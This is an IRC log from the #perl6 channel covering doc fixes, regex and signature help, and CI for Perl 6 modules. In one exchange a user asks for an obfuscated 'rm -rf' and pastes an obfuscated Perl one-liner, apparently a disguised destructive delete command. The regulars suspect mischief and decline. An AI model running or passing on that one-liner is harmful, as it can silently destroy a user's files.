»ö« Welcome to Perl 6! | perl6.org/ | evalbot usage: 'p6: say 3;' or rakudo:, or /msg camelia p6: ... | irclog: irc.perl6.org or colabti.org/irclogger/irclogger_logs/perl6 | UTF-8 is our friend!
Set by moritz on 22 December 2015.
Geth doc: bc0c585d8f | (Samantha McVey)++ | 2 files
Make sure to replace forwardslash on unix systems filenames

Also make sure to check for the proper characters in htmlify.p6
00:06
00:11 jferrero left 00:18 greenspaceman joined
Geth doc: 6ca67e44a0 | (Zoffix Znet)++ | doc/Language/io-guide.pod6
[io grant] Start sketching out Definitive IO Guide™

Likely will replace the current io.pod6 eventually. Start it off in a separate file for now.
00:23
00:35 Cabanossi left
Geth doc: e15bbf88f8 | (Zoffix Znet)++ (committed using GitHub Web editor) | doc/Language/io-guide.pod6
Fix typo; BenGoldberg++
00:37
00:37 Cabanossi joined
BenGoldberg wonders why indir() is only available as a subroutine, not as a method. 00:44
BenGoldberg also wonders why indir() doesn't provide an optional :chdir argument, which would change directory into the argument, then later, back to whatever the cwd had been. 00:45
u-ou m: sub f { .say }; f 'hi'
camelia 5===SORRY!5=== Error while compiling <tmp>
Calling f(Str) will never work with declared signature ()
at <tmp>:1
------> 3sub f { .say }; 7⏏5f 'hi'
u-ou why don't sub decl's get the default sig? 00:47
samcv good day #perl6 00:56
hope you are all well 00:57
skids m: sub f { @_.shift.say }; f "HI"
camelia HI
skids u-ou: see design.perl6.org/S06.html#Perl5ish...clarations
(You have to mention @_)
samcv nice i fixed the docs build 00:58
before it failed i guess or something idk. oh yeah travisci is gone
and dosen't spam the channel when things fail anymore
on vacation for the last weeks. unknown.
u-ou thanks 01:00
TimToady m: my &f = { .say }; f 'hi'
camelia hi
TimToady and that's just as short
u-ou :)
nice
I'm going to add that to my code now
TimToady since there are signatures now, we tend to encourage people to be more explicit when they're officially writing subs 01:01
BenGoldberg m: my &f = &say; f 'hi'; 01:02
camelia hi
BenGoldberg . o O (And who said that perl6 isn't a golfing language ;))
samcv argh my puppy 01:03
middle name is probably trouble
u-ou yeah, I want to use sigs most of the time, I just thought that style would be nice for writing short predicate functions 01:04
01:06 greenspaceman_ joined 01:08 greenspaceman left 01:10 greenspaceman_ left 01:11 greenspaceman joined 01:23 AndyDee left 01:36 Cabanossi left 01:37 Cabanossi joined 01:43 bjz_ left 01:46 bjz joined, ilbot3 left 01:48 ilbot3 joined, ChanServ sets mode: +v ilbot3 01:53 gdonald left, gdonald joined 01:56 ponbiki joined 01:58 greenspaceman left 02:02 bjz left 02:08 [particle] left, [particle]1 joined 02:10 [particle] joined 02:14 [particle]1 left 02:15 [particle] left 02:16 [particle] joined 02:18 noganex_ joined 02:21 noganex left 02:30 rindolf left
w4and0er96 excuse me , how can I distinguish `run 'echo', 'hello'; ` from `shell 'echo hello'; ` why their form differ? 02:36
geekosaur shell is the quick and dirty one like perl 5's system 02:40
run is the flexible one that lets you set up pipes and such 02:41
ugexe shell cant pipe?
geekosaur not to your perl script
that is, you cannot run a command via the shell verb and read its output or pipe stuff to it 02:42
it just runs it
ugexe maybe I misunderstand... what is :out/:err/:in for with shell if not those things? 02:43
02:44 bjz joined
w4and0er96 so whether `run` or `shell`, i can run only one command per statement? 02:46
ugexe you can run multiple with shell
depending on your os/shell anyway
shell 'foo && bar'
w4and0er96 oh of course! XD
thx
geekosaur or shell 'foo; bar' 02:48
windows may be shell 'foo & bar', I don't recall if it uses cmd
02:48 kyan left 02:49 bjz left 03:01 kyan joined 03:19 bjz joined 03:23 bjz left 03:24 bjz joined 03:25 Sgeo__ left 03:27 BenGoldberg left 03:31 Sgeo joined 03:50 Cabanossi left 03:51 Cabanossi joined 03:52 bjz left 03:59 bjz joined 04:01 [particle] left 04:19 Cabanossi left 04:21 CIAvash joined, Cabanossi joined 04:24 [particle] joined 04:28 labster left 04:33 labster joined 04:41 kurahaupo left, bjz left 05:02 bjz joined 05:07 pytuger joined, pytuger left, pytuger joined 05:09 astj left, astj joined 05:14 astj left, skids left 05:21 geekosaur left 05:23 geekosaur joined 05:34 Cabanossi left 05:35 Guest49548 joined 05:36 Cabanossi joined 05:43 Guest49548 left 05:55 wamba joined 06:21 silug left 06:31 silug joined 06:35 Cabanossi left 06:36 ChoHag joined, Cabanossi joined 06:41 darutoko joined
u-ou hi 06:44
moritz ho
07:03 labster left, labster joined, TEttinger left 07:11 parv joined 07:15 TEttinger joined 07:19 Cabanossi left 07:21 Cabanossi joined 07:24 GDV joined
GDV hi 07:24
i need help: you can give me `rm -rf` in perl (obfuscated)? 07:25
moritz GDV: what do you need that for? 07:27
GDV i learn 07:28
i know only this: perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 07:29
Is there still, or is it all 07:30
?
moritz GDV: somehow I'm not convinced you are doing this for ethical reasons
GDV why? 07:31
07:31 mr-foobar left
moritz because obfuscating an rm -rf is typically done with mischief in mind 07:32
something you give your "friends" as a prank, or worse
GDV nope. 07:33
i just learn
moritz so, what's your curriculum? 07:34
GDV i read book
Learning PERL (5-th) 07:35
moritz which doesn't contain obfuscation excercises 07:36
anyway, have fun learning
samcv GDV, tell your friends to close their eyes 07:38
GDV but I need obfuscation
samcv and no peeking
eater samcv :')) 07:39
GDV: try double rot13, very strong obfuscation
07:39 leah2 left
GDV rot13 - no 07:39
i know rot13
pseudo crypt alg 07:40
samcv GDV, have fun search.cpan.org/~dconway/Acme-Bleac.../Bleach.pm 07:41
it will still be suspicious. but you can't easily read it
without effort
"run this suspiciously blank except for module use file. totally will be good. close your eyes it will all be ok" - said nobody ever convincingly 07:42
eater samcv: doesn't matter if you already have full root access 07:44
samcv well. that's why i said have his friend close his eyes
tell your friend you're only going to type 'a few characters' and it will be great 07:45
no peeking
GDV this? cpansearch.perl.org/src/DCONWAY/Acm...o_empty.pl 07:48
run?
samcv yes
why not 07:49
GDV or this? cpansearch.perl.org/src/DCONWAY/Acm...o/Empty.pm
samcv please bleach all your dirty code
uh
neither. it's a module
that cleans out all the text in your code 07:50
cause it probably is horrible and nobody wants to see it
GDV stop, stop, please
what needs run for rm -rf? 07:51
samcv you use the module in an existing script. and then. it makes all the text invisible by replacing with hidden characters
GDV ah, ok 07:52
onelines avaolable for this? )
07:52 zapwai left
samcv no only text files 07:52
GDV bad((
samcv err .pl files
07:53 leah2 joined
GDV K/ ty for info 07:56
07:58 GDV left
eater samcv: edge.shop.com/ccimg.shop.com/250000...730213.jpg 08:00
Geth testml-pm6: 3b26eefee2 | (David Warring)++ | lib/TestML/Runner.pm
work with Rakudo 6c lexical loading

Tests are still a bit nosiy
08:05
08:07 raiph left, leah2 left 08:08 raiph joined 08:09 mr-foobar joined
Geth testml-pm6: 8467ca86c4 | (David Warring)++ | 2 files
remove failure warnings
08:11
08:12 raiph left 08:13 raiph joined 08:15 raiph left 08:19 raiph joined 08:22 leah2 joined 08:27 AlexDaniel left 08:38 RabidGravy joined 08:41 kyan left 08:47 rindolf joined
RabidGravy Boom 08:49
u-ou o/
samcv hey eater 08:51
hehe 08:52
eater hey samcv 08:56
samcv i hpoed ACME::Bleach would be sufficiently useless for his malicious purposes but myabe get him to go away
u-ou I'm going to stay up past my bedtime so I can write perl 6 more
samcv yay
u-ou lol @ obfuscated rm -rf 08:57
09:03 rogbro joined 09:06 rogbro left 09:10 azawawi joined
azawawi hi #perl6 09:10
azawawi drops a needle 09:12
moritz catches the needle before it hits the floor
tadzik /r/dadreflexes
09:12 jraglin left
azawawi :) 09:14
moritz \o tadzik 09:15
azawawi time to work on NCurses::Exorcism :)
moritz struggles with JS and the DOM
tadzik moritz: o/ 09:16
moritz some js-based styling that works in the chrome dev tool console, but not in the code I'm writing 09:17
09:19 Cabanossi left
azawawi moritz: share it please. Maybe i can help :) 09:20
09:21 araraloren joined, Cabanossi joined
araraloren m: say " " ~~ /<![2]>/; say " " ~~ /<-[2]>/; 09:22
camelia 「」
「 」
yoleaux 11 Apr 2017 17:25Z <Zoffix> araraloren: Unless you merged it already, PR to fix your module for latest Rakudo: github.com/araraloren/Net-FTP/pull/24
09:22 Cabanossi left
moritz azawawi: alright, this is about irclog.perlgeek.de/ 09:22
azawawi: the inline javascript has the line $('.ct-chart path').css('stroke', 'black');
09:23 Cabanossi joined
araraloren m: say " " ~~ /<![2]>/; # what is matched ? 09:23
camelia 「」
moritz which, when run in the chrome dev tools, actually changes the line of activity graphs
m: say (' ' ~~ /<![2]>/).perl 09:24
camelia Match.new(list => (), made => Any, pos => 0, hash => Map.new(()), orig => " ", from => 0)
moritz araraloren: an empty string
araraloren How to make a negative set ? or prevent match empty string ?
moritz araraloren: <-[2]>
09:25 Cabanossi left
araraloren But rakudo warning me if I do this ` / <-[ <set> <set2> ]> /` 09:25
09:25 Cabanossi joined
moritz araraloren: what is set and set2? 09:25
samcv guys what do we have about line based break points or functions or whatever
araraloren or this `my regex { <-[ <set> <set2> ]> }`
samcv and the state of perl6-debug
someone in #moarvm is asking 09:26
araraloren Something like <:L>
azawawi moritz: over here it is showing pasteboard.co/5k0CMLyn1.png
moritz: chrome/firefox
moritz araraloren: maybe <-:L> or so?
azawawi: right, that's red fill, no stroke 09:27
azawawi: open the dev tools in chrome, paste $('.ct-chart path').css('stroke', 'black'); into the console
azawawi: and it'll change the color 09:28
azawawi: but the same code already is in page, and doesn't seem to do anything there
09:29 Rawriful joined
araraloren m: my regex english { <:L> } ; my regex chinese { <:Block("CJK Unified Ideographs")> } ; my regex chanden { <:Block("CJK Unified Ideographs")+:L> }; say " " ~~ /<!chanden>/; 09:29
camelia 「」
azawawi moritz: try the following: setTimeout( function() { $('.ct-chart path').css('stroke', 'black'); }, 0);
araraloren m: my regex english { <:L> } ; my regex chinese { <:Block("CJK Unified Ideographs")> } ; my regex chanden { <-[ <english> | < chinese> ]> }; say " " ~~ /<chanden>/;
camelia Potential difficulties:
Repeated character (h) unexpectedly found in character class
at <tmp>:1
------> 3 Ideographs")> } ; my regex chanden { <-7⏏5[ <english> | < chinese> ]> }; say " " ~
Repeated character (s) unexpectedly…
09:29 ChoHag left
azawawi moritz: sometimes you're updating but the browser has not rendered it. Common JS/DOM problem maybe 09:30
moritz araraloren: you can formulate that as my regex chanden { [<!english> <!chinese> . ] }
araraloren: the . forces the regex to consume a character, even though the assertions are zero-width 09:31
araraloren Oh, let me try it ..
moritz azawawi: thanks, will try. (I just managed to bust my development environment, no idea what's up...) 09:33
azawawi github.com/azawawi/perl6-ncurses/issues/10 # Implement simpler holy-based fun API :)
araraloren moritz: It worked, but I have confused .. . Is there some document about this ? 09:34
09:34 parv left
araraloren I mean about negative set 09:35
moritz araraloren: docs.perl6.org/language/regexes.html has something about character classes
araraloren: but the use of <!foo> is not a character class, it's a negated zero-width assertion 09:36
araraloren moritz: OH ... I make a mistake about it
s/make/made/
moritz: thanks for your help . 09:37
\quit 09:38
09:38 araraloren left 09:40 azawawi left
w4and0er96 how can i distinguish `sub f ($x --> Int:D)` from `sub f($x --> Int)` , i think i need an example 09:41
moritz m: sub f( --> Int:D ) { Int }; f()
camelia Type check failed for return value; expected return type Int cannot be itself (perhaps returning a :D type object?)
in sub f at <tmp> line 1
in block <unit> at <tmp> line 1
moritz m: sub f( --> Int ) { Int }; f()
camelia ( no output )
moritz w4and0er96: ^^ that's the difference 09:42
w4and0er96 @moritz oh! thx 09:44
moritz timotimo: now irclog.perlgeek.de/ should make you happier
samcv why is the search on the docs broken! 09:46
sky is falling!
argh. somebody messed up the javascript 09:47
09:54 labster left
samcv i found it 09:56
{ category: "Syntax", value: "\\", url: "/syntax/\" },
not sure what that's supposed to be for
backslash i guess? 09:57
moritz presumably 10:00
samcv ok i thin i found the problem 10:02
it wasn't escaping reverse solidus in every part of the javascript
Geth doc: 6fba76212a | (Samantha McVey)++ | htmlify.p6
Make sure to escape backslash's in .js search files

It was not escaping backslashes, so when a backslash appeared right before the ending " double quote mark, it ruined the syntax for the rest of the javascript file. This should hopefully get the search working again on docs.perl6.org
10:04
10:06 TEttinger left
lizmat PSA: Perl 6 Weekly will be a bit later today, probably tomorrow, due to some unforeseen circumstances that will make me offline for the next 12 hours 10:10
10:10 lizmat left
timotimo moritz: cool :) 10:10
Geth doc: briandfoy++ created pull request #1282:
Capitalize the Exception method
10:18
u-ou i have a headache
10:18 mr-foobar left 10:20 aindilis left
samcv \o/ yay i fixed the docs 10:24
search works once more
u-ou yay
samcv though i can't get to the page whose title is '\' but at least the whole thing isn't broken
moritz samcv++
samcv looks like the file exists docs.perl6.org/syntax//%5c.html 10:25
10:27 mr-foobar joined
samcv looks like there's only one url with an actual backslash in it 10:29
10:30 nhywyll joined
moritz might change when we get [\...] 10:31
10:31 nhywyll left
Geth doc: 46e9c3aac0 | (Samantha McVey)++ | htmlify.p6
Replace URL's with backslashes in them with their html entities

Chrome at least refuses to access a non html entity encoded URL that contains a properly escaped backslash.
10:35
samcv that should fix things
for the last page that doesn't work
10:36 Ven joined, Ven is now known as Guest88951 10:44 bjz_ joined 10:46 bjz left 10:58 espadrine joined
melezhik Hi! 11:05
given I have a function named f1 in MAIN
how can I call it from other unit? 11:06
by full name ( like main::f1() in Perl5)
gfldex melezhik: unit as in compunit?
melezhik unit module SomeModule ; 11:07
gfldex melezhik: this might help gfldex.wordpress.com/2017/04/06/mo...he-things/
timotimo needs to be "our" for that to work
tadzik yay moritzbook! 11:11
moritz++
moritz thanks tadzik
I guess I'll investigate createspace to bring it into print form 11:12
(I had a publisher, but that didn't work out well)
tadzik is there something like Game Crafter for books? :) 11:13
moritz that's createspace or lulu.com 11:15
11:16 cpage__ joined, cpage_ left, cpage__ is now known as cpage_ 11:18 kaare_ joined
melezhik our f1 ; and then MAIN:f1() inside unit works for me 11:20
moritz wow, I can't believe how cheap print-on-demand can be 11:23
www.createspace.com/Products/Book/...Calculator
black and white 6" x 9", 10 copies, 120 pages: $2.29 per book 11:24
shipping them to Germany is nearly as expensive as printing
tadzik interesting how 2.29 doesn't seem to change, regardless of quantity
moritz it seems they always do print-on-demand, and don't create a printing master for > 10k books or so 11:25
11:33 Guest88951 left 11:34 Cabanossi left 11:36 Cabanossi joined 11:56 gdonald left, gdonald joined 11:59 raiph left 12:00 raiph joined 12:05 robertle left
Geth doc: cf0154f3b8 | (Zoffix Znet)++ (committed using GitHub Web editor) | doc/Type/Failure.pod6
Fix incorrect example; briandfoy++

Closes #1282
12:07
timotimo i find it sort of strange that it uses .exception.throw -> CATCH just to show that you can get the inner exception from a failure object 12:11
12:12 robertle joined
Geth doc: 97292f8e4f | (Zoffix Znet)++ (committed using GitHub Web editor) | doc/Type/Failure.pod6
Simplify example
12:14
timotimo yeah, that's a bit better 12:15
... i hope
Geth doc: 56392848b2 | (Zoffix Znet)++ (committed using GitHub Web editor) | doc/Type/Failure.pod6
Reword example
12:16
12:25 astj joined 12:31 sufrostico joined 12:36 perlpilot joined 12:38 zakharyas joined 12:39 araraloren joined 12:44 astj left 12:50 raschipi joined 12:51 SCHAPiE left 12:53 ChoHag joined
Geth specs: 84f5da58d6 | (Zoffix Znet)++ (committed using GitHub Web editor) | v6d.pod
Swap IO::Path.child to use .child-secure's code
12:55
12:56 SCHAPiE joined 12:58 mcmillhj joined 13:01 wamba left 13:03 skids joined 13:06 wamba joined
Geth doc: b9c9117fde | (Zoffix Znet)++ | doc/Type/IO/Path.pod6
[io grant] Toss IO::Path.child-secure

We'll make .child be .child-secure around 6.d time instead.
Discussion: irclog.perlgeek.de/perl6-dev/2017-...i_14439386
13:09
specs: bc769f1c99 | (Zoffix Znet)++ (committed using GitHub Web editor) | v6d.pod
Add removed docs commit

for salvagin later
13:19 MasterDuke_ joined 13:35 Cabanossi left 13:36 Cabanossi joined
raschipi gfldex: You got travis to use ubuntu packages, right? What do you think about enabling the tests that run on travis on debian's and ubuntu's own continuous integration? 13:51
13:56 astj joined 13:58 raiph left
gfldex raschipi: that happens already every time we do a release see packages.qa.debian.org/r/rakudo.html 14:01
raschipi: we don't really need continous test anyways in advance. In retrospective it would be very helpful to do so to answer questions like raised here github.com/jnthn/grammar-debugger/issues/34 14:03
raschipi: i'm building the last 100 rakudo commits in a chain of btrfs snapshots right now to see how much diskspace that takes up and how long it takes
MasterDuke_ gfldex: we build and then compress them with zstd on the *able server, they're ~6m each 14:06
raschipi gfldex: So why can't I see the results here: ci.debian.net/packages/r/ 14:08
gfldex raschipi: "The package has a debian/watch file, but the last attempt to use it for checking for newer upstream versions failed with an error:" may be the reason 14:09
raschipi: however, just setting up a daily travis cronjob on Task::Star might solve the problem to find out about such blockers the day the release is planned. 14:12
14:13 cdg joined
gfldex tadzik would have to do that as he is the owner of that package 14:14
Geth doc: 61cb776335 | (Zoffix Znet)++ | doc/Type/IO/Path.pod6
[io grant] Document IO::Path.sibling

Rakudo impl: github.com/rakudo/rakudo/commit/8bacad8f84 Tests: github.com/perl6/roast/commit/3b36d4db0d
14:21
tadzik gfldex: ah, travis, yes. I think I can do that, hold on
I used to get tons of PRs to enable travis in places 14:22
14:22 raschipi left, khw joined
tadzik it's enabled now 14:25
gfldex tadzik: you need to do one build run before you can enable travis cronjobs (unless they changed that already) 14:26
tadzik build run? 14:28
gfldex tadzik: also, you will get all those angry travis e-mails. May be better to have an ircbot that is doing the testing for "modules we don't want to be be broken, ever" and raises alarms here.
tadzik gfldex: I seem to not get them, I just noticed Text::T9 is broken and I was never emailed about that
14:28 raschipi joined
gfldex tadzik: travis wont act without another commit after activating a repo 14:29
tadzik ah
gfldex tadzik: it's using the e-mail given to github
tadzik I may have disabled their emails in the settings %) 14:30
or I may have missed that t9 email
14:30 perlpilot left 14:33 bjz_ left
gfldex tadzik: I send a PR your way. 14:35
tadzik the ran has already completed, it seems :) 14:40
and I did get an email after all 14:41
travis-ci.org/tadzik/Task-Star/builds/222807397 14:42
timotimo damn
it only runs until it sees one failure 14:43
14:43 MilkmanDan left
gfldex tadzik: panda seams not to test the deps (the PR I send changed that) 14:44
14:45 MilkmanDan joined
timotimo gfldex: META6::bin fails to install unless you have a github-token.txt in your ~/.meta6 14:46
tadzik oh, neat, thanks 14:47
timotimo because of the 010-load.t
gfldex timotimo: will change that to a warning
timotimo uh oh 14:49
t/010-load.t ..1/?# Cannot resolve caller absolute(IO::Path: ); none of these signatures match:
hm, is my rakudo up to date?
14:50 zakharyas left 14:51 astj left
raschipi Which architecture is that running on? x86-64? 14:54
gfldex timotimo: your rakudo may be old but the missing github-token.txt is fallout from [IO] 14:56
15:05 Cabanossi left 15:06 Cabanossi joined 15:12 dogbert2 joined 15:14 dogbert17 left 15:23 adrusi left
[Coke] writes up a multi line send to talk about tribalism from the backscroll and just deletes it. :| 15:29
15:31 adrusi joined
geekosaur resembles that... 15:32
15:32 gdonald left 15:33 gdonald joined 15:34 alimon joined
gfldex shouldn't .? on a Failure be a boolean test and disarm it? 15:36
m: sub f(){ fail "foo" }; say f.?slurp; 15:37
camelia foo
in sub f at <tmp> line 1
in block <unit> at <tmp> line 1

Actually thrown at:
in block <unit> at <tmp> line 1
gfldex m: sub f(){ fail "foo" }; f.?slurp;
camelia foo
in sub f at <tmp> line 1
in block <unit> at <tmp> line 1

Actually thrown at:
in block <unit> at <tmp> line 1
gfldex m: sub f(){ fail "foo" }; say f.Bool; 15:38
camelia False
gfldex m: sub f(){ fail "foo" }; say f // ''; 15:39
camelia 5===SORRY!5=== Error while compiling <tmp>
Null regex not allowed
at <tmp>:1
------> 3sub f(){ fail "foo" }; say f //7⏏5 '';
gfldex m: sub f(){ fail "foo" }; my $a = f() // ''; dd $a 15:40
camelia Str $a = ""
gfldex lolwhilewaitingfortravisibloggedalittle: gfldex.wordpress.com/2017/04/17/sl...nfig-file/ 15:43
avuserow ~
15:47 lizmat joined
timotimo gfldex: no, .? just checks if a method exists on a thing and call it if it does 15:51
doesn't check the value of the thing at all, except while trying to dispatch
15:52 dogbert17 joined 15:56 dogbert2 left, n0xff left
gfldex timotimo: the failing test is fallout from [IO]. The line it fails in says: `return unless $path.IO.e;`. 16:06
16:08 mcmillhj left
gfldex m: say Str.IO.e 16:09
camelia Cannot resolve caller absolute(IO::Path: ); none of these signatures match:
(IO::Path:D $: *%_)
(IO::Path:D $: $CWD, *%_)
in block <unit> at <tmp> line 1
gfldex that's the culprit
timotimo oh 16:10
huh, how do we do that now?
16:14 mcmillhj joined, zapwai joined
RabidGravy It should just throw earlier, i.e. it should be IO(Str:D:) 16:14
16:14 kurahaupo joined
RabidGravy but 16:15
m: Str.?IO.e
camelia Cannot resolve caller absolute(IO::Path: ); none of these signatures match:
(IO::Path:D $: *%_)
(IO::Path:D $: $CWD, *%_)
in block <unit> at <tmp> line 1
RabidGravy doesn't ? do like 'cando' on the invocant? 16:17
timotimo m: Str.?IO
camelia ( no output )
timotimo m: Str.?IO.perl.say
camelia IO::Path
timotimo m: Str.IO
camelia ( no output )
RabidGravy eugh
timotimo the IO method on Str works, but it returns an undefined IO
that's why it asplode in "absolute" 16:18
RabidGravy so
timotimo because .e on IO:U works
"works"
RabidGravy it should fail earlier
16:19 mcmillhj left
timotimo that's what we were saying, wasn't it? 16:21
gfldex RabidGravy: I don't think it can. The problem is that a non-existing IO::Path is always defined. As a consequence undefined IO::Path don't make sense.
And the mistake was on my side. I never handled the case that we file I wanted to work with doesn't exist. 16:22
RabidGravy yeah but Str.IO should fail ;-)
gfldex m: sub handle-missing-file(Mu:U $f){ say 'I can haz file plox?' }; handle-missing-file(fail 'missing'); 16:25
camelia missing
in block <unit> at <tmp> line 1
16:25 mcmillhj joined 16:31 mcmillhj left 16:33 Zoffix joined
Zoffix The failing test isn't the fallout from IO. It was failing just the same but with differnt error 16:34
c: 2017.03 say Nil.IO.e
committable6 Zoffix, ¦2017.03: «Cannot look up attributes in a IO::Path type object␤ in block <unit> at /tmp/zI0J44hCfn line 1␤ «exit code = 1»»
gfldex m: sub handle-missing-file(Mu:U $f){ say 'I can haz file plox?' }; handle-missing-file(try fail 'missing');
camelia I can haz file plox?
Zoffix There are numerous issues in META6::bin for the path where the github-token.txt file doesn't exist. All fixed in github.com/gfldex/perl6-meta6-bin/pull/6 16:35
And I'm adding IO::Path:D: for sig for filetests, so they fail with saner error
16:36 Zoffix left 16:38 araraloren left
timotimo now i don't remember any more what i was going to use meta6::bin for >_> 16:39
gfldex timotimo: maybe you wanted to fork a module? 16:40
m: my %h; %h{1;2;3} = 42; dd %h.antipairs 16:42
camelia (({"2" => ${"3" => 42}}) => "1",).Seq
16:42 mcmillhj joined
gfldex that doesn't feel correct 16:42
timotimo ah, indeed. grammar::debugger 16:43
but then i noticed that's not the one that actually failed 16:44
gfldex META6::bin makes travis happy again 16:45
16:46 mcmillhj left 16:50 Actualeyes left
tadzik looks like Grammar::Debugger fails on Task::Star: travis-ci.org/tadzik/Task-Star/builds/222811961 16:54
gfldex tadzik: see github.com/jnthn/grammar-debugger/issues/34 16:55
tadzik ok, awesome :)
16:57 lizmat left 16:59 mcmillhj joined 17:02 domidumont joined 17:27 zakharyas joined 17:30 jraglin joined
Geth yaml-pm6: 2402a2f30c | (David Warring)++ | lib/YAML.pm
fix CATCH block
17:36
17:39 daxim joined
timotimo At this point in Perl 6, using YAML is the only way to dump an object 17:40
graph to text. The `.perl` method will stop at object nodes, rather than
dumping them further. The `.perl` method also cannot dump cyclic data
graphs. YAML.pm handles these things fine.
^- this paragraph wants fixed :)
also, references to ufo %) 17:41
ingy timotimo: what's the current good YAML dumper? 17:44
timotimo ingy: that's not what i mea 17:47
ingy: the point is that .perl can dump cyclic data graphs
but YAMLish can also dump yaml, and also parse yaml ... but it doesn't have a whole lot of tests 17:48
ingy timotimo: I found a bunch of bugs in yamlish
17:48 Rawriful left
timotimo cool, did you file 'em? 17:49
ingy astra.perl-community.de/tinita/yts-...index.html
timotimo why did nobody ever show this to anybody?!? :o
ingy it's pretty new
will talk about it in Lyon
timotimo yamlish hardly parses anything 17:50
yaml parses nothing at all
ingy tinita++
timotimo are all of these tests there parsing? or some dumping, too?
ingy these are all parse tests at the moment 17:51
timotimo OK, so yamlish will definitely fail pretty hard
ingy github.com/yaml/yaml-test-suite
anyway, just wanted to know if there was anything newer than YAMLish 17:52
timotimo nothing i know of 17:54
18:04 cdg left, Cabanossi left 18:06 Cabanossi joined
alphah hi, if grammar B is inherited from grammar A, is there a way to undefine a token inherited so it can't be available in B? 18:06
jnthn Maybe override it in B with token that-thing { <!> } so that it always fails? Or you want to solve it somehow in A? 18:08
alphah say grammar A has 7 tokens, and I need only 6 of these tokens in grammar B
yeah I want to override in B, so { <!> } this means wont match anything 18:09
?
18:09 dugword joined
alphah jnthn: tested it, works as expected, Thanks! 18:12
18:19 nightfrog joined 18:26 avalenn joined
skids pesters jnthn about the rolevolution thing again, in case he's especially bored 18:32
18:34 dugword left 18:35 dha joined 18:42 labster joined 18:44 mr-foobar left 18:47 setty1 joined 18:48 dha left 18:57 darutoko left 19:05 Cabanossi left
tinita timotimo: just FYI, the official site for that is matrix.yaml.io/ 19:05
and the development site: flens.perlpunks.de/tinita/ytm/
the url ingy gave you will vanish soon
timotimo thanks, i'll keep those urls in mind ... i think?
19:06 Cabanossi joined
moritz wohoo, tinita in #perl6! For a moment I thought I had my irssi tabs wrong :-) 19:07
tinita hah 19:08
i'd love to port my yaml parser to perl6. as soon as it's finished 19:09
ingy me too! ;)
tinita =)
moritz as soon as your yaml parser is finished or as soon as Perl 6 is finished? :-)
ingy yes
tinita moritz: *g* my parser
moritz one never knows :-)
tinita the only big thing todo for me is flow style 19:10
TimToady the whole *point* of Perl 6 is to never be finished :)
moritz :-)
ingy halting problem :) 19:11
moritz #perl6 would be a boring place, and we could all go home, if Perl 6 ever finished :)
TimToady ingy: stop that!
ingy TimToady: I can't! (for certain) 19:12
TimToady was always fascinated by devices that solve the halting problem with explosives
ingy Kinda like when Martin Bishop kicks the door in Sneakers. 19:13
raschipi The biggest problem is with devices that should solve the halting problem with explosives but don't.
ingy has a pet fish named Martin Bishop.
tinita timotimo: oh, and FYI too, i took out yamlish from the matrix, because we have a timeout of 3 seconds for each tests, and it exceeded it :-/ 19:14
timotimo uh oh :( 19:16
are you running it with a very recent perl6?
tinita i'd have to look into the docker builder. ingy wrote the most of it, including the perl6 setup 19:17
timotimo: github.com/yaml/yaml-editor/blob/m...dockerfile 19:18
ingy github.com/yaml/yaml-editor/blob/m...dockerfile
:)
tinita <-- faster
ingy <-- slower
19:20 MilkmanDan left 19:21 MilkmanDan joined 19:22 CIAvash left 19:23 guest12345 joined
MasterDuke_ tinita, ingy: there's a 2017.01 rakudo star available now, and a 2017.04 should be available in a week or two 19:25
timotimo yeah, we've had good performance improvements over the last months 19:26
hopefully we can get YAMLish to perform in time
isn't "&& true" a no-op?
ingy cool, thanks! 19:27
timotimo: it is
RabidGravy not having a happy time with making the ømq poll thing
ingy then all your op lines can end in \
:)
timotimo where do i have to look to find the files that it runs yamlish against? and since it also installs Data::Dumper, it must be outputting that somehow, too 19:28
ingy docker can't end a bunch of continue lines with a blank line
because docker is stupid
tinita timotimo: the files are in github.com/yaml/yaml-test-suite
timotimo and the timeout is per test file, or for the whole thing? 19:29
tinita timotimo: or in the 'data' branch respectively
timotimo: per test file
ingy github.com/yaml/yaml-test-suite/tr...aster/test is canonical files
timotimo oh crap, testml
ingy :P
timotimo the last time i tried to do anything with testml it was severely broken
ingy in p6
timotimo its test were testml files with a different version than the grammar was trying to parse or something like that 19:30
tinita timotimo: the script itself is in github.com/yaml/yaml-editor/blob/m...n/perl6-p6
ingy but we don't use testml in p6
tinita and github.com/yaml/yaml-editor/blob/m...perl6-json
ingy github.com/yaml/yaml-test-suite/tree/data/
timotimo oh, a different branch 19:31
hadn't thought of that
ingy we split the tml into files for frameworks that can't deal with testml well, (or don't want to)
yes
timotimo right
gfldex can zef handle circular deps on modules?
timotimo gfldex: can rakudo handle circular deps?
gfldex don't thinks so as forward declarations don't work across compunits 19:32
Geth doc: 6fce96548b | (Samantha McVey)++ | html/.htaccess
Rewrite $REVERSE_SOLIDUS to %2F

Since on Unix we used to have $REVERSE_SOLIDUS but no longer do. Also get URL's with only one $COLON rewriting properly.
19:36 cpage_ left
timotimo well, you can use run-time "require" 19:41
19:43 wamba left 19:45 as_ joined
as_ Hi guys, can you point me to the src file where \h is defined? 19:45
moritz as_: in NQP, src/QRegex/P6Regex/Actions.nqp 19:47
method backslash:sym<h>($/)
as_ moritz: thanks a lot! it is there indeed! 19:51
19:54 setty1 left 19:58 as_ left
skids Hrm. There's got to be a better idiom for /(<-[\:]>+)\:/ 20:00
20:00 eftjo joined 20:01 eftjo left
samcv / ( < -[\:] >+ ) ':' / 20:01
idk
raschipi it looks so nice though
moritz adding some spaces typically helps
samcv it looks better with syntax highlighting
moritz and btw you don't need \ inside a char class 20:02
( <-[:]>+ ) ':'
skids Well that helps, a bit.
Just it's such a common thing to need.
samcv doesn't look that bad a.uguu.se/t2EVPGYCFYW1_Screenshot_...130240.png
skids, you can used named regex 20:03
skids Well there's ([<!before \:>.]+) \: but... 20:04
20:04 cpage_ joined
samcv my token notcolon { <-[:] > }; 'blah:' ~~ / ( <notcolon>+ ) ':' /; say $0 20:06
m: my token notcolon { <-[:] > }; 'blah:' ~~ / ( <notcolon>+ ) ':' /; say $0
camelia 「blah」
notcolon => 「b」
notcolon => 「l」
notcolon => 「a」
notcolon => 「h」
samcv there is more than one way to do it gist.github.com/samcv/50ce3e7975c0...12fb740e65 20:09
skids Yeah so 3 lines... granted you could parameterize it to make it more generically useful. 20:10
20:14 labster left 20:15 domidumont left
El_Che !release 20:22
damn
I forgot the command again
MasterDuke_ NeuralAnomaly: status
